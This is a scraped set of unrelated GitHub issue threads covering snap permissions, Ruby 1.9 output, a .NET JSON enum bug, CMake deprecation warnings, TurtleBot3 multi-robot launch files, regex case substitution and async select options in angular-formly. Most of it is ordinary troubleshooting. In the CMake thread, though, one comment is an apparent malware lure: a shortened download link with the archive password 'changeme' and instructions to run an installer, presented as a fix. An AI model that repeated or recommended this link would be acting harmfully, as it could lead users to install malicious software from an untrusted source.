Make chip-tool command work without root privileges

The chip-tool command installed by the snap requires root privileges to function. This is because the storage and config files are written under /mnt, which is bind mounted on /var/snap/chip-tool/common/mnt/. This directory is owned by the root user.
This also makes it problematic to use the tool independently with different users.
Ideally, the storage and config paths should be user specific (e.g. read from SNAP_USER_COMMON). This is currently not easily achievable since the paths are set at compile time.

A script could be used to bind mount /mnt to a directory under user's home directory. This script would have to be executed every time before executing Chip Tool commands, via snapcraft's command-chain, so that the environment gets setup promptly for the user. This will be problematic if two users start executing commands in parallel. Chances of collision are high since some commands take very long to complete, especially when using Chip Tool's interactive mode.
In my option, the best approach to solve this issue is to implement path configuration via environment variables. This needs to be implemented upstream to avoid added snap maintenance complexity.


ruby 1.9 adding [" "] around name and login

When using ruby 1.8 the data is presented correctly. When using ruby 1.9 I am seeing this type of behavior
User id: 2, name: "["Matthew Black"]", login: "["mblack"]", first_name: nil, last_name: nil, email: nil, groups: nil
Where as ruby 1.8 it will be like this
User id: 2, name: "Matthew Black", login: "mblack", first_name: nil, last_name: nil, email: nil, groups: nil

I've not come across this, but I use 1.8.7 to stay in line with my production servers.
Looks like you've done a fair bit of work in your own fork, if your happy that its fixed the problem open a pull request and I will stick in into 1.3

My apologies, I'm still a little new to github. The pull request opened a new issue ticket.


loginpage, move css out of the folder used for enumerating themes, and remove duplicated code.

loginpage, move css out of the folder used for enumerating themes, and remove duplicated code.

The login page is an early experiment. Thanks for your work, but I don't want to accept a pull request against the page until it is closer to being finished.


Getting an error when searching by ID

System.Text.Json.JsonException: The JSON value could not be converted to System.Nullable1[Anilist4Net.Enums.Seasons]. Path: $.data.Media.season | LineNumber: 0 | BytePositionInLine: 1233.
at System.Text.Json.ThrowHelper.ThrowJsonException(String message)
at System.Text.Json.Serialization.Converters.EnumConverter1.ReadWithQuotes(Utf8JsonReader& reader)
at System.Text.Json.Serialization.Converters.EnumConverter1.Read(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options)
at System.Text.Json.Serialization.Converters.NullableConverter1.Read(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options)
at System.Text.Json.JsonPropertyInfo1.ReadJsonAndSetMember(Object obj, ReadStack& state, Utf8JsonReader& reader)
at System.Text.Json.Serialization.Converters.ObjectDefaultConverter1.OnTryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.Serialization.JsonConverter1.TryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.JsonPropertyInfo1.ReadJsonAndSetMember(Object obj, ReadStack& state, Utf8JsonReader& reader)
at System.Text.Json.Serialization.Converters.ObjectDefaultConverter1.OnTryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.Serialization.JsonConverter1.TryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.JsonPropertyInfo1.ReadJsonAndSetMember(Object obj, ReadStack& state, Utf8JsonReader& reader)
at System.Text.Json.Serialization.Converters.ObjectDefaultConverter1.OnTryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.Serialization.JsonConverter`1.TryRead(Utf8JsonReader& reader,
Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.Serialization.JsonConverter1.ReadCore(Utf8JsonReader& reader, JsonSerializerOptions options, ReadStack& state)
at System.Text.Json.JsonSerializer.ReadCore[TValue](JsonConverter jsonConverter, Utf8JsonReader& reader, JsonSerializerOptions options, ReadStack& state)
at System.Text.Json.JsonSerializer.ReadCore[TValue](JsonReaderState& readerState, Boolean isFinalBlock, ReadOnlySpan1 buffer, JsonSerializerOptions options, ReadStack& state, JsonConverter converterBase)
at System.Text.Json.JsonSerializer.ReadAsync[TValue](Stream utf8Json, Type returnType, JsonSerializerOptions options, CancellationToken cancellationToken)
at GraphQL.Client.Http.GraphQLHttpClient.SendHttpRequestAsync[TResponse](GraphQLRequest request, CancellationToken cancellationToken)
at GraphQL.Client.Http.GraphQLHttpClient.SendQueryAsync[TResponse](GraphQLRequest request, CancellationToken cancellationToken)
at Anilist4Net.Client.GetMediaById(Int32 id)

thanks for letting me know, i will look into this!

which ID did you request?

Once I get home I'll find the ID it errored on, it was more than one anime
(I'm using it as part of a findanime command in discord)
On Tue, Apr 20, 2021, 2:53 PM Cain Atkinson @.***>
wrote:

which ID did you search with?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/cainy-a/Anilist4Net/issues/4#issuecomment-823521626,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOJF23FFXQ5QDW7A3IUDMVDTJXERTANCNFSM43E2XL7Q
.

ok cool thanks

MalId 32673 is failing

i tried this with anilist id as well

fixed in 96d5d742 - if an ID returns 404, the client will now return null.

Will this be pushed to nuget?

Huh that didnt fix it what

The actual issue is that the season itself is null, I looked it up on mal and it exists

Will this be pushed to nuget?

will be once i fix it properly since apparently that didnt work :\

https://myanimelist.net/anime/32673

The actual issue is that the season itself is null, I looked it up on mal and it exists

oh i see weird

Also if you have a discord can we talk there? I'm more comfortable with it

uh i dont really have a discord for anilist4net. I mean i guess theres the discord for gord? https://discord.gg/e4HnvY28Wq

Alright joining it, name is ZeroNyan

Fixed in f89e7e87fa98b7d433cab74caa1717d0991e5cb3 and https://www.nuget.org/packages/Anilist4Net/1.2.0


Manually create expression tree from filter input

Is your feature request related to a problem?
Currently filtering only seems to work when returning an IQueryable. However, I'm calling a service that does not return a IQueryable; it does however accept a collection of Expressions as a parameters (which are in turn applied to a IQueryable inside that service).
The solution you'd like
I'd be great if there would be a way to manually build the expression tree based on a filter input parameter so I can do something like:
public Task<IEnumerable<User>> GetUsersAsync([Service] IUserService service, UserFilterInput filter)
{
    return service.GetAllAsync(filter.ToExpressions());
}

Product
Hot Chocolate

Filtering actually can work on anything ... However it is often complex to implement a filtering provider and we see that. @PascalSenn and I have discussed working on a filter object that can be passed into business logic or translated to an object that can then be passed into business logic.
We have not yet a target date for this, I will put it for now on the 13.0 milestone but we might put it into a dot release for 12.

The filter object concept is very interesting to me, would be useful in my current project.
Is there another ticket that covers this idea? Dunno if anyone has had time to write up their thoughts on this.

@sjroesink Have you tried this solution?


CMake Deprecation Warning

When including the library via add_subdirectory() in own CMakeLists.txt, I get:
CMake Deprecation Warning at ordered-map/CMakeLists.txt:1 (cmake_minimum_required):
  Compatibility with CMake < 3.5 will be removed from a future version of
  CMake.

  Update the VERSION argument <min> value or use a ...<max> suffix to tell
  CMake that the project does not need compatibility with older versions.

Would it be possible to resolve this in the next library update?
For reference, my CMake version is 3.30.2

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Thanks - this fix https://github.com/Tessil/ordered-map/commit/5bbd64709218b9f9fc92bf2bbbf7cae6f5e067b6 worked well (for a while). Unfortunately, the newest CMake (3.31) is unhappy again, now requiring 3.10 at least.
"Changed in version 3.31: Compatibility with versions of CMake older than 3.10 is deprecated. Calls to cmake_minimum_required(VERSION) or cmake_policy(VERSION) that do not specify at least 3.10 as their policy version (optionally via ...) will produce a deprecation warning in CMake 3.31 and above."
This is a minor issue, of course, but an annoyance nevertheless.


Avalon Mongo Connection split

It is required to split avalon's mongo connection out of avalon's Session! This is just practical issue, now we have io_nonsingleton but each time new object is created, new connection to mongo is created so one running pype may have 16 connections to mongo. This is too much for single application accessing the same data but from different table (collection).
Idea of implemetation:
1.) Singleton object caring only about connecting to Mongo DB. Let's call it AvalonMongoDB
2.) Class AvalonMongoConnection which can hold context. Let's call the context atttribute Session for backwards comaptibility.
3.) AvalonMongoDB should be used as current avalon.io so by default has one stored object of AvalonMongoConnection it's Session is filled with environments and is stored to avalon.api.
4.) At the same time AvalonMongoDB should have method like get_mongo_connection which returns new AvalonMongoConnection object with unfilled Session.
5.) This connection has it's own context but is using the same connection. Methods like install and uninstall remains but for AvalonMongoConnection the install method just mean to trigger creating of connection to mongo in AvalonMongoDB at the same time AvalonMongoDB should store booleans about each instance if the instance is marked as "installed". If all instances are not "installed" then connection to mongo is lost.
Let me know what you think, what names for AvalonMongoDB and AvalonMongoConnection would be best and what would you change. With this approach avalon is backwards compatible just adds new feature.

Let's describe in more detail why we think this is needed and create an issue in avalon-core, as this would heavily affect it.

This is currently required only because we want use Avalon's mongo connection in pype (in many places all with different context) so it's more our issue which may not be accepted.
But if we'll speak about using avalon tools in premiere, photoshop or other hosts without python, and have ability to have multiple opened those hosts at the same time, with one running listening server(rest api, websockets, etc.), then having this feature is one of first steps. I'll think about it.

Implemented with https://github.com/pypeclub/avalon-core/pull/187


dashboard appears empty

I installed dashboard by following README. Dashboard appears empty.
I found there is no such folder and file described below after cloning kvm-vdi.
"Change permissions on tmp/ folder and functions/clients.xml file to give webserver writeable rights."

These lines in README are no longer used. Fixed.
Please define "empty dashboard" - is it just white page?
If so, - check your webserver error log. It is possible, that you are missing some PHP modules.

I use mysql 5.7 install of mariadb and it seems better. Populating the first DB got some kind of trouble and I manually create db and default user account 'admin'. It works now, I see dashboard.


ADM-760: [Frontend] fix pipeline steps&branches lost in metrics page

Summary
https://dorametrics.atlassian.net/browse/ADM-760

refactor real done code
fix pipeline steps&branches lost in metrics page

Deploy with comments due to bug bash


Canceling new skill group dialog doesn't return focus to the button

PR: https://github.com/NationalSecurityAgency/skills-service/pull/2764

:+1:


swarmACTAction.h not found

I was trying to test your package, but it seems that the swarm_robots/swarmACTAction.h is missing in your current package.
Could you please let me know if that can be updated?

Closing this since no-one seems to manage this repo


[ADD ME TO THE ORGANIZATION]

Name: Muhammad Arham
Location: Pakistan
Interest: Web Developement
Discord username(optional):-
Why do you want to join?

I want to join because

You can also join our Discord community here
Feel free to check out other cool repositories of the DevsInTech Community here.

Thanks


Fix pretty printing fakeNameDeBruijn

According to the Plutus Core specifications, names can only start with letters.
Name n ::= [a-zA-Z][a-zA-Z0-9_’]*

But currently fakeNameDeBruijn gives an empty ndbnString, which leads to "invalid" pretty-printed programs in this scenario:

Call mkTermToEvaluate on a Script.
The program is named with fakeNameDeBruijn.
The NamedDeBruijns are translated to Name through unDeBruijnProgram.
prettyPlcClassicDebuging the program/term leads to names like _0, _1 because of the PrettyBy instance of Name:

instance HasPrettyConfigName config => PrettyBy config Name where
    prettyBy config (Name txt (Unique uniq))
        | showsUnique = pretty txt <> "_" <> pretty uniq
...

This leads to the uplc CLI itself failing to parse the program:
$ cat alwaystrue.uplc | uplc print
uplc: Lexical error: lexical error at line 3, column 12

This PR fixes it:
cat alwaystrue.uplc | uplc print
(program
  1.0.0
  [
    [
      (lam i_0_0 (lam i_1_1 (lam i_2_2 (lam i_3_3 (lam i_4_4 i_0_0)))))
      (delay (lam i_5_5 i_5_5))
    ]
    (lam i_6_6 i_6_6)
  ]
)

I've read that pretty-printing isn't the priority at the moment, but changes like these do help transpiler writers who desire tight (pretty-printed) Plutus Core programs to process.

Pre-submit checklist:

Branch

[ ] Tests are provided (if possible)
[x] Commit sequence broadly makes sense
[x] Key commits have useful messages
[] Relevant tickets are mentioned in commit messages
[x] Formatting, materialized Nix files, PNG optimization, etc. are updated

PR

[x] Self-reviewed the diff
[x] Useful pull request description
[ ] Reviewer requested

Seems fine!

I've read that pretty-printing isn't the priority at the moment, but changes like these do help transpiler writers who desire tight (pretty-printed) Plutus Core programs to process.

I highly recommend using the binary serialization if you can.


CKEditor 4.22.1 version is not secure.

Hello
It could be a good idea upgrade to 4.24.0-lts version.

Thank you!
This has been discussed in https://github.com/django-ckeditor/django-ckeditor/issues/761


Multi TurtleBot3 Simulation in Gazebo

Hello,
I am trying to run a TB3 simulation where I have 2 or more Burger robots running at the same time.
I tried modifying the existing turtlebot3_world.launch.py package in the following manner:
import os

from ament_index_python.packages import get_package_share_directory
from launch import LaunchDescription
from launch.actions import IncludeLaunchDescription
from launch.launch_description_sources import PythonLaunchDescriptionSource
from launch.substitutions import LaunchConfiguration

def generate_launch_description():
    launch_file_dir = os.path.join(get_package_share_directory('turtlebot3_gazebo'), 'launch')
    pkg_gazebo_ros = get_package_share_directory('gazebo_ros')

    use_sim_time = LaunchConfiguration('use_sim_time', default='true')
    x_pose = LaunchConfiguration('x_pose', default='-2.0')
    y_pose = LaunchConfiguration('y_pose', default='-0.5')
    # I added these 2 new initial poses
    x_2_pose = LaunchConfiguration('x_pose', default='-5.5')
    y_2_pose = LaunchConfiguration('y_pose', default='-0.5')

    world = os.path.join(
        get_package_share_directory('turtlebot3_gazebo'),
        'worlds',
        'turtlebot3_world.world'
    )

    gzserver_cmd = IncludeLaunchDescription(
        PythonLaunchDescriptionSource(
            os.path.join(pkg_gazebo_ros, 'launch', 'gzserver.launch.py')
        ),
        launch_arguments={'world': world}.items()
    )

    gzclient_cmd = IncludeLaunchDescription(
        PythonLaunchDescriptionSource(
            os.path.join(pkg_gazebo_ros, 'launch', 'gzclient.launch.py')
        )
    )

    robot_state_publisher_cmd = IncludeLaunchDescription(
        PythonLaunchDescriptionSource(
            os.path.join(launch_file_dir, 'robot_state_publisher.launch.py')
        ),
        launch_arguments={'use_sim_time': use_sim_time}.items()
    )

    spawn_turtlebot_cmd = IncludeLaunchDescription(
        PythonLaunchDescriptionSource(
            os.path.join(launch_file_dir, 'spawn_turtlebot3.launch.py')
        ),
        launch_arguments={
            'x_pose': x_pose,
            'y_pose': y_pose
        }.items()
    )

    # I added this new robot spawner which uses the new poses I added
    spawn_turtlebot2_cmd = IncludeLaunchDescription(
        PythonLaunchDescriptionSource(
            os.path.join(launch_file_dir, 'spawn_turtlebot3.launch.py')
        ),
        launch_arguments={
            'x_pose': x_2_pose,
            'y_pose': y_2_pose
        }.items()
    )

    ld = LaunchDescription()

    # Add the commands to the launch description
    ld.add_action(gzserver_cmd)
    ld.add_action(gzclient_cmd)
    ld.add_action(robot_state_publisher_cmd)
    ld.add_action(spawn_turtlebot_cmd)
   # I added an action to use my additional spawner
    ld.add_action(spawn_turtlebot2_cmd)

    return ld

I then used colcon build to build the updated pacakge (saved under a file called turtlebot3_2_world.launch.py)
And tried running it using the command:
ros2 launch turtlebot3_gazebo turtlebot3_2_world.launch.py
The Gazebo software does start with the world map, but it only has one Turtlebot3 model in it, looking at the output of the terminal I am launching turtlebot3 gazebo from I can see some new error messages:
[spawn_entity.py-5] [INFO] [1651328573.694735640] [spawn_entity]: Spawn Entity started
[spawn_entity.py-5] [INFO] [1651328573.694987846] [spawn_entity]: Loading entity XML from file /home/mor/turtlebot3_ws/install/turtlebot3_gazebo/share/turtlebot3_gazebo/models/turtlebot3_burger/model.sdf
[spawn_entity.py-5] [INFO] [1651328573.695540106] [spawn_entity]: Waiting for service /spawn_entity, timeout = 5
[spawn_entity.py-5] [INFO] [1651328573.695748298] [spawn_entity]: Waiting for service /spawn_entity
[spawn_entity.py-4] [INFO] [1651328573.697360962] [spawn_entity]: Spawn Entity started
[spawn_entity.py-4] [INFO] [1651328573.697610798] [spawn_entity]: Loading entity XML from file /home/mor/turtlebot3_ws/install/turtlebot3_gazebo/share/turtlebot3_gazebo/models/turtlebot3_burger/model.sdf
[spawn_entity.py-5] [INFO] [1651328573.697874998] [spawn_entity]: Calling service /spawn_entity
[spawn_entity.py-4] [INFO] [1651328573.698375179] [spawn_entity]: Waiting for service /spawn_entity, timeout = 5
[spawn_entity.py-4] [INFO] [1651328573.698586519] [spawn_entity]: Waiting for service /spawn_entity
[spawn_entity.py-4] [INFO] [1651328573.700757510] [spawn_entity]: Calling service /spawn_entity
[spawn_entity.py-5] [INFO] [1651328573.717435637] [spawn_entity]: Spawn status: Entity [burger] already exists.
[spawn_entity.py-5] [ERROR] [1651328573.717667760] [spawn_entity]: Spawn service failed. Exiting.
[spawn_entity.py-4] [INFO] [1651328573.737101934] [spawn_entity]: Spawn status: Entity [burger] already exists.
[spawn_entity.py-4] [ERROR] [1651328573.737331030] [spawn_entity]: Spawn service failed. Exiting.
[ERROR] [spawn_entity.py-5]: process has died [pid 15291, exit code 1, cmd '/opt/ros/galactic/lib/gazebo_ros/spawn_entity.py -entity burger -file /home/mor/turtlebot3_ws/install/turtlebot3_gazebo/share/turtlebot3_gazebo/models/turtlebot3_burger/model.sdf -x -2.0 -y -0.5 -z 0.01 --ros-args'].
[ERROR] [spawn_entity.py-4]: process has died [pid 15289, exit code 1, cmd '/opt/ros/galactic/lib/gazebo_ros/spawn_entity.py -entity burger -file /home/mor/turtlebot3_ws/install/turtlebot3_gazebo/share/turtlebot3_gazebo/models/turtlebot3_burger/model.sdf -x -2.0 -y -0.5 -z 0.01 --ros-args'].

Is there something I am doing wrong? Is there a better way to get more than one turtlebot3 robot in the same simulation?

I'm not sure about the approach you are trying but I have spawned multiple robots by tweaking the launch file.


Polyfill Array.prototype.at with core-js (PR 14976 follow-up)

This Array-method is a fairly new addition to the ECMAScript specification, hence we need a polyfill to avoid the library/viewer breaking in older browsers.
Please find additional information at:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/at
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/at#browser_compatibility

/botio unittest


Added server side encryption for Turnstile package in S3.

Coverage remained the same at 98.947% when pulling b2b08e55b13976feb781b1f3a746b74796a88d15 on server-side-encryption-for-s3-upload into 241a431bf06754a89ed9fad39887b0160ffa8a72 on master.


Don't have {} act as a wildcard in assert_query_result

For assert_query_result, the empty dict {} currently acts as a "wild card", that will match anything.
This is because it checks each element in the dict, and so if the dict is empty, it doesn't look at the returned data at all.
I think we should make sure that {} only matches dictionaries, and should add in a separate wildcard facility.
We should maybe also have it check that the result dictionary doesn't contain any extra keys, except for id and __tname__. (We don't really have a good way to distinguish between named tuples and objects in this interface, so I don't think we can do the best thing and insist that those are inserted when appropriate).

+1


[UI] Cluster Templates - When click "New Template" on main global page, then cancel, does not take us back to where we came from

Version: master-head
What kind of request is this (question/bug/enhancement/feature request):
Bug
Steps to reproduce (least amount of steps as possible):

On main global page (/g/clusters) click on "New Template" button
Click on Cancel

Result:
We get routed to the Cluster Templates page, rather than back from where we came (/g/clusters).
We expected to go back to the page we were previously at.

Version: master-head (7/23/19)
Now when we cancel cluster template creation (from global page) we get routed back to /g/clusters global page.


Use c_void in std::os::raw instead of libc

Only change required once #6 is fixed.
Tested with example code.

Thanks for the PR. While this is the only change necessary, it turns out that all FFI type definitions are in std::os::raw and libc is not necessary as a direct dependency any more. See https://github.com/bsteinb/rsmpi/commit/269ac6d0f8a836a0ff1fcfa856aa00abbbd47621


Subselects making miseries

I had to change:
INSERT into DEPOT_STUDY_PERSON_LINK(DEPOT_STUDY_PERSON_LINK_ID, PERSON_ID, STUDY_ID, DEPOT_ID,
INV_UPLOAD_ID,INV_EFFECTIVE_DATE, COMMIT_TIME, IS_ACTIVE, MOD_TIME)
SELECT ?n, (SELECT MIN(PERSON_ID) FROM PERSON WHERE lower(EMP521)=?v),
(SELECT STUDY_ID FROM STUDY WHERE PROTOCOL_NUMBER = ?v),
(SELECT DEPOT_ID FROM DEPOT where LOCAL_NAME  = ?v),
INV_UPLOAD_ID, INV_EFFECTIVE_DATE, SYSTIMESTAMP,1, SYSTIMESTAMP
FROM INV_UPLOAD where INV_UPLOAD_ID=?n
to 2 steps:
INSERT into DEPOT_STUDY_PERSON_LINK(DEPOT_STUDY_PERSON_LINK_ID, PERSON_ID, STUDY_ID, DEPOT_ID,
INV_UPLOAD_ID,INV_EFFECTIVE_DATE, COMMIT_TIME, IS_ACTIVE, MOD_TIME)
VALUES(?n,?n,?n,?n,?n,SYSDATE,SYSTIMESTAMP,1,SYSTIMESTAMP)
and then an update statement to get the correct SYSDATE - because I did not want the app to have to know it in advance.
UPDATE DEPOT_STUDY_PERSON_LINK
SET
INV_EFFECTIVE_DATE = (SELECT INV_EFFECTIVE_DATE
FROM INV_UPLOAD
WHERE INV_UPLOAD_ID=DEPOT_STUDY_PERSON_LINK.INV_UPLOAD_ID)
WHERE DEPOT_STUDY_PERSON_LINK_ID = ?n
Likewise, I had to change the below:
INSERT into INVENTORY(inventory_id, depot_study_person_link_id, md5, row_cat, drug_name,
strength,strength_unit,
container_amt, container_unit,
pcn_number, batch,
quantity, expiry_date,
orig_json, comments,
is_active, mod_time)
SELECT idgenseq.nextval, ?n, md5, row_cat, drug_name, strength, strength_unit, container_amt, container_unit,
pcn_number, batch,
quantity, expiry_date,
orig_json, inv_comments,
1,systimestamp
FROM PROCESSED_DATA WHERE INV_UPLOAD_ID=?n and PROTOCOL_NUMBER=?v and DEPOT=?v AND NOT (IS_IGNORE_ROW=1)
to
INSERT into INVENTORY(inventory_id, depot_study_person_link_id, md5, row_cat, drug_name,
strength,strength_unit,
container_amt, container_unit,
pcn_number, batch,
quantity, expiry_date,
orig_json, comments,
is_active, mod_time)
SELECT idgenseq.nextval, DEPOT_STUDY_PERSON_LINK_ID, md5, row_cat, drug_name, strength, strength_unit, container_amt, container_unit,
pcn_number, batch,
quantity, expiry_date,
orig_json, inv_comments,
1,systimestamp
FROM PROCESSED_DATA p, DEPOT_STUDY_PERSON_LINK l
WHERE p.INV_UPLOAD_ID=?n and PROTOCOL_NUMBER=?v and DEPOT=?v AND NOT (IS_IGNORE_ROW=1)
AND l.DEPOT_STUDY_PERSON_LINK_ID = ?n

The problem here after cursory review I believe is that the deparser is unable to handle YADA parameters in the list of SelectItem objects.  This is probably resolvable, but without a named column reference or alias, the YADA column syntax (e.g., YADA_1, YADA_2, which is typically used only for standard parameters) may have to be employed.


How to use webpack dllplugin in server side rendering scenario?

What problem does this feature solve?
Webpack dllPlugin can reduce build time.
The client build has been already done. But how can I write the code to use dllPlugin in server side rendering? Where should I put the vendor bundle in?
What does the proposed API look like?
noop

https://github.com/JounQin/Rubick/blob/master/server/dev.ts#L51
I'm doing like this.

Hi, thanks for your interest but Github issues are for bug reports and feature requests only. You can ask questions on the forum, the Discord server, gitter or StackOverflow.

@JounQin thank you for help, but my dll bundle is pre-built, and it is uploaded to cdn.
Later, I think it may be not necessary to write dll file into webpack mfs. Just use dllPlugin in webpack for server build. Because the  require statement in built app bundle is like require('vue'), which is a normal node require statement. So it will be fine.

My sharing codes are only for development, you can simply add dll script into your template html like https://github.com/JounQin/Rubick/blob/master/server/template.pug#L16 and https://github.com/JounQin/Rubick/blob/master/server/index.ts#L216 .

Yeah, this script is necessary.


Is there some way to replace and use the capitalization of the input match

for example, one regex that matches and replaces all of these:
Pulse->Jump
pulse->jump
PULSE->JUMP

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 66e4ab41-3d66-76f0-1ae8-a9818a199583
Version Independent ID: b35b11b7-5c7f-0985-dd62-aecfd48d1490
Content: Substitutions in Regular Expressions
Content Source: docs/standard/base-types/substitutions-in-regular-expressions.md
Product: dotnet
Technology: dotnet-standard
GitHub Login: @rpetrusha
Microsoft Alias: ronpet

I don't think this can be achieved with regex only.

Thanks for contacting us. We believe that the question you've raised has been answered. If you still feel a need to continue the discussion, feel free to reopen it and add your comments.

I just arrived here attempting to do this exact thing. I want to specify something like $L1 to lowercase the capture from group 1. Some other utilities do this: https://www.regular-expressions.info/replacecase.html
Even if it's not possible/documented today, can you please file a feature request so the next Visual Studio might be able to do this?

@miniksa, I don't think it's related to Visual Studio at all. It could be related to dotnet/runtime. Personally, I don't think this is possible, but you may open an issue in the dotnet/runtime repo and see what will be said.

@Youssef1313, Hmmm, I was attemping to do this in the Visual Studio 2019 text editor Find/Replace window. Which I'm pretty sure is powered by whatever capabilities .NET has. So I'm sort of hoping Visual Studio, with its weight, could drive .NET upstream to introduce this feature such that everyone could make use of it. I thought I was on a Visual Studio help page, though, to be honest. Not one for .NET generally. But it's all sort of the same world. Sort of.

Oh, I thought you were trying to do it by code. not by using the Find/Replace window. then it's not related by dotnet/runtime. but still, I don't think it's possible. Regex is not a Microsoft thing. so still, if there is no way to do that in regex, this can't be changed. If there is a way that I'm not aware of to do that in Regex, then it's a different story.

I only bring up the possibility because:

I wanted to do it
Someone else has this problem
Just Great Software has a solution to this for their Regex implementation that I linked above.

It seems like a decent idea that's just missing. I'd like to see .NET and/or VS at least consider it.

The feature has already been requested, and you can vote for it here:  https://developercommunity.visualstudio.com/content/idea/580810/case-preserving-search-replace.html


Agent 3.230.2 queues but never runs (since upgrade on pipeline agent)

What happened?
Upgraded from 3.227. to 3.230 on our self-hosted agents.  Jobs are queuing but never actually running.
Queued: Today at 4:28 PM

The agent request is already running or has already completed.
Job preparation parameters

ADO Server is Version Azure DevOps Server 2022.0.1 (AzureDevOpsServer_20231109.3)
Versions
ADO Server is Version Azure DevOps Server 2022.0.1 (AzureDevOpsServer_20231109.3)
self-hosted agent (Windows) is 3.230.2
Environment type (Please select at least one enviroment where you face this issue)

[ ] Self-Hosted
[ ] Microsoft Hosted
[ ] VMSS Pool
[ ] Container

Azure DevOps Server type
Azure DevOps Server (Please specify exact version in the textbox below)
Azure DevOps Server Version (if applicable)
ADO Server is Version Azure DevOps Server 2022.0.1 (AzureDevOpsServer_20231109.3)
Operation system
Windows 2022
Version controll system
git
Relevant log output
No response

This is the same issue I'm referring to in #4562 https://github.com/microsoft/azure-pipelines-agent/issues/4562#issuecomment-1850906534.

Hi @dihaase, thank you for the feedback, the error is the same as in 4562, closing this issue, you can track the progress in the 4562


kbfsgit: support "push.gpgSign=if-asked" configuration

Suggested by celti.
Issue: keybase/client#9309

Is the endgame here to eventually support signing?

No idea!  That would be cool though.  Haven't actually thought about it.


How to handle dynamic options in 'select' type

Am I going to have to write a custom type to get the options to dynamically load into the select field?
If I place the array of objects into the options attribute of the field, formly populates the select perfectly, however, if I try to set the options to a promise variable, it doesn't populate the select at all.
I didn't see an example of this.  You may have covered this in the workshop, but I can't recall, and don't have my laptop with me to see the examples.
    vm.locations = [];

    $http.get('./assets/locations.json').success(function(data){
            vm.locations = data;
    });
    vm.formFields = [
    {
        key: 'startingLocation',
        type: 'select',
        templateOptions:{
            label: 'Starting Location',
            options: vm.locations,
            valueProp: 'stationID',
            labelProp: 'name',
            required: true,
            focus:true,
            placeholder: 'Select Starting Location from List'
        }
    }
    ];

DOM

<ng-form class="formly ng-pristine ng-isolate-scope ng-invalid ng-invalid-required" role="form" name="form" fields="vm.formFields" model="vm.model">

 Starting Location *
<select id="formly_1_select_startingLocation_0" class="form-control ng-pristine ng-invalid ng-invalid-required ng-touched" ng-options="option[to.valueProp || 'value'] as option[to.labelProp || 'name'] group by option[to.groupProp || 'group'] for option in to.options" ng-model="model[options.key]" name="formly_1_select_startingLocation_0" formly-focus="true" required="required" placeholder="Select Starting Location from List" tabindex="0" aria-required="true" aria-invalid="true">
<option value="?" selected="selected" label=""></option>
</select>

</ng-form>

DOM
<ng-form class="formly ng-pristine ng-isolate-scope ng-invalid ng-invalid-required" role="form" name="form" fields="vm.formFields" model="vm.model">

 Starting Location *
<select id="formly_1_select_startingLocation_0" class="form-control ng-pristine ng-invalid ng-invalid-required ng-touched" ng-options="option[to.valueProp || 'value'] as option[to.labelProp || 'name'] group by option[to.groupProp || 'group'] for option in to.options" ng-model="model[options.key]" name="formly_1_select_startingLocation_0" formly-focus="true" required="required" placeholder="Select Starting Location from List" tabindex="0" aria-required="true" aria-invalid="true">
<option value="?" selected="selected" label=""></option>
</select>

</ng-form>

What is the value of vm.locations after the request finishes? Also, it's best practice to not use $http in your controller. You should either use resolve in your route definition and/or use a service. If you resolve your dependencies into your controller, then this issue goes away intirely.

vm.locations is fully populated, I actually output it in a
{{vm.locations|json}}
 to verify that it is populated.

Hmmm... Could you reproduce this issue in a jsbin?

Kent C. Dodds

(Sent from my mobile device, please forgive typos or brevity)
On Mar 11, 2015 7:14 PM, "billfranklin"<EMAIL_ADDRESS>wrote:

vm.locations is fully populated, I actually output it in a
{{vm.locations|json}} to verify that it is populated.
—
Reply to this email directly or view it on GitHub
https://github.com/formly-js/angular-formly/issues/202#issuecomment-78406726
.

http://jsbin.com/yomowa/7/edit?html,js,console,output

Ummm... That appears to be an empty bin:

not sure why...it is full for me...saved it a couple of times, let's see if it works now..
http://jsbin.com/yomowa/9/edit?html,js,output

Weird... Still totally empty for me.... I don't think this matters, but do you have an account? Maybe you have to sign up for an account to have it persist...

Yes, I do

Very odd... @remy, do you know why this might be happening?

what's even odder, if I open it in a new browser, that's not logged in to jsbin, I can see the contents from that link.

If I go to the output only view, I see this:

Tried in an incognito window and in Firefox / Safari. No dice. I'm thinking that jsbin is experiencing issues right now...

having someone else try the link

maybe it is you, because other people are trying it and see it

This wouldn't be the first time I personally had trouble with jsbin :-( Maybe I use it too much? Could you maybe clone it and send me the cloned URL...

http://jsbin.com/deqeta/1/edit?js,output

Wow, this is really sad... Maybe you could switch to codepen :-( I'm super sorry about that.

http://codepen.io/billfranklin/pen/vEVJPW

Ah hah! I know what the problem is! The issue is that you're not reassigning the template's options to what comes back from the server, you're actually reassigning your vm.jsonData to what comes back from the server which is entirely different. I've made an update to your example that works:
http://jsbin.com/qawawe/edit?html,js,output (hopefully jsbin will work for you, I'm not a huge fan of codepen)

aha, that worked, thanks!!!  Was driving me crazy....

Great! Is there anything I could do to make the API easier to understand so that would have been easier for you to figure out? I want this to be dead simple

You could actually make this an example.

Doing that right now :-) Thanks for the help!

And it's live! http://formly-js.github.io/angular-formly/#/example/other/async-select-options-with-controller

Sorry, missed this coming in. A bug landed in jsbin that's been fixed but
still affecting some users. If I can get usernames I can correct those
affected.
On 12 Mar 2015 12:50, "Kent C. Dodds"<EMAIL_ADDRESS>wrote:

And it's live!
http://formly-js.github.io/angular-formly/#/example/other/async-select-options-with-controller
—
Reply to this email directly or view it on GitHub
